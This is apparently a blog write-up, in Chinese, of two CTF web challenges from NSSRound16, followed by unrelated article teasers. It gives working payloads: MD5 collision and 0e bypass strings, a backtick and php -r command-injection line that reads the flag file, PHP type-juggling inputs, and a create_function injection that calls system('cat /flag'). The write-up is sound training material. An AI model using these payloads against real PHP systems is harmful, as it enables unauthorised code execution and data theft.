NSSRound16

RCE但是没有完全RCE

审题

审核代码,简单的md5绕过。

知识点

md5绕过,命令组合,shell里``中的内容会被当成代码执行

知识详解

  1. md5等于的绕过方法

    1. 数组绕过 a[]=1&b[]=2,

    2. 0e绕过弱比较,md5后的值以0e开头即可绕过。

    3. $a==md5 $a=0e215962017其md5后的值也为0e开头

    4. md5碰撞绕过强比较。

      a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
      b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

解题

  1. md5碰撞绕过md5_1和2,数组绕过md5_3

  1. 进入新目录。

审核代码禁用了一些字母符号,并且将shell和cmd构成了一个可执行函数

使用dir观察题目内容

找到flag,cat命令被禁言使用more命令。

并且由于``中内容会被当成代码执行使用php -r,快速执行一些php代码。

所以构造的cmd为

cmd=cd /;more `php -r "echo chr(102).chr(108).chr(97).chr(103);"`

了解过PHP特性吗

审题

进行代码审计后,总的来说就是让checker1,2,3,4都为ture

知识点

php函数的应用。

解题

  1. 绕过checker1

    $num = $_GET['num'];
    if (preg_match("/[0-9]/", $num)) {
    die("no!!");
    }
    if (intval($num)) {
    $checker_1 = TRUE;
    }

    只要让num中匹配不到数字并让intval=1即可。直接用数组绕过

    num[]=1

  2. 绕过checker2

    if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
    $checker_2 = TRUE;
    }
    }

    md5弱比较,0e 绕过。

    注意strrev()函数,反转函数将字符串前后反转。

    构造:ctype=TDNHTLQ&is_num=807016042

  3. 绕过checker3。

    $_114 = $_GET['114'];
    $_514 = $_POST['514'];
    if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
    $checker_3 = TRUE;
    }
    }

    直接构造:114=1e9&514=9999999999999999a即可。

  4. 绕过checker4

    $arr4y = $_POST['arr4y'];
    if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
    if ($arr4y[$i] === "NSS") {
    die("no!");
    }
    $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
    $checker_4 = TRUE;
    }
    }

    首先arr4y[]!=NSS,然后array_search函数是弱比较,如果为数字,则NSS比较后输出0,如果为字符串则输出false。

    所以,构造:arr4y[]=0.

得到下一页目录

注意create_function()函数

$B='echo $A;'
create_function($A,$B) //的输出结果相当于 function lambda_1($A){
echo $A;
}

所以,传入nss=return;}system('cat /flag');/*&shell=时

相当于:

creat_function($shell,$nss);

function lambda_1($shell,$nss){
return;}system('cat /flag');/*
}

所以,得到flag。

随机推荐

  1. Java中数组、集合、链表、队列的数据结构和优缺点和他们之间的区别

    数组:.长度固定.可以存储基本类型,也可以存储引用类型.存储元素类型一致数组可以在内存中连续存储多个元素的构造,在内存中的分配也是连续的数组中的元素通过数组的下标进行访问的,下标从0开始的优点 :按照 ...

  2. mybatis-plus-QueryWrapper like的用法

    mybatis-plus 中想写like的语句 一.直接用 QueryWrapper 中的 like String deptLevelCodeTemp = "1000010001" ...

  3. 最简单的http文件服务器

    概述 需求来了,部署一个简单方便的文件服务器,可以查看.下载文件,不需要鉴权,越简单越好. 环境 centos:CentOS  release 7.0 (Final)或以上版本 httpd:2.4.6 ...

  4. C#设计模式16——中介者模式的写法

    是什么: 中介者模式是一种行为型设计模式,它定义了一个中介者对象来封装一系列对象之间的交互.中介者模式可以使得对象间的交互更加松耦合,避免了对象之间的直接依赖,从而使系统更加灵活.易于扩展和维护. 为 ...

  5. spring boot 集成配置阿里 Druid监控配置

    本文为博主原创,转载请注明出处: github 地址如下:https://github.com/alibaba/druid/wiki 其相关问题也可参考:https://github.com/alib ...

  6. centos7_Lnmp编译安装

    17年面试运维岗位的时候,面试官要求输出一份lnmp编译的操作文档,于是有了如下安装nginx+php+mysql,进入正题: 准备环境 环境:centos7.3 软件:nginx-1.12.1 + ...

  7. 永久激活Windows10专业版及其它版本【亲测有效2022-03-16,两种方式】

    前言 小编最近使用公司的电脑,开始出现让你激活的提示,而且每次开机都会弹出来,小编忍住了:但是过不了半个月开始给你在桌面上显示了,一直显示和水印一样.小编忍无可忍,必须找个办法给你消灭掉!!,于是小编 ...

  8. [转帖]46岁加入谷歌,51岁发明Go,他的编程原则影响了一大批程序员!

    https://www.zhihu.com/tardis/zm/art/551945410?source_id=1005 今年3月,万众瞩目的Go 1.18版本发布,Go终于开始支持泛型了!该版本不仅 ...

  9. [转帖]Nginx 使用与异常处理

    http://jartto.wang/2017/04/15/nginx-exception-handling/ 以前总是偷懒使用 Http-Server 来启动一个本地服务,后来花时间学习了一下 Ng ...

  10. 【转帖】text-davinci-003和ChatGPT之间的不同点

    https://zhuanlan.zhihu.com/p/603709081 先看下GPT的发展时间线 InstructGPT(2022 年 1 月)是一系列 GPT-3 模型(包括 text-dav ...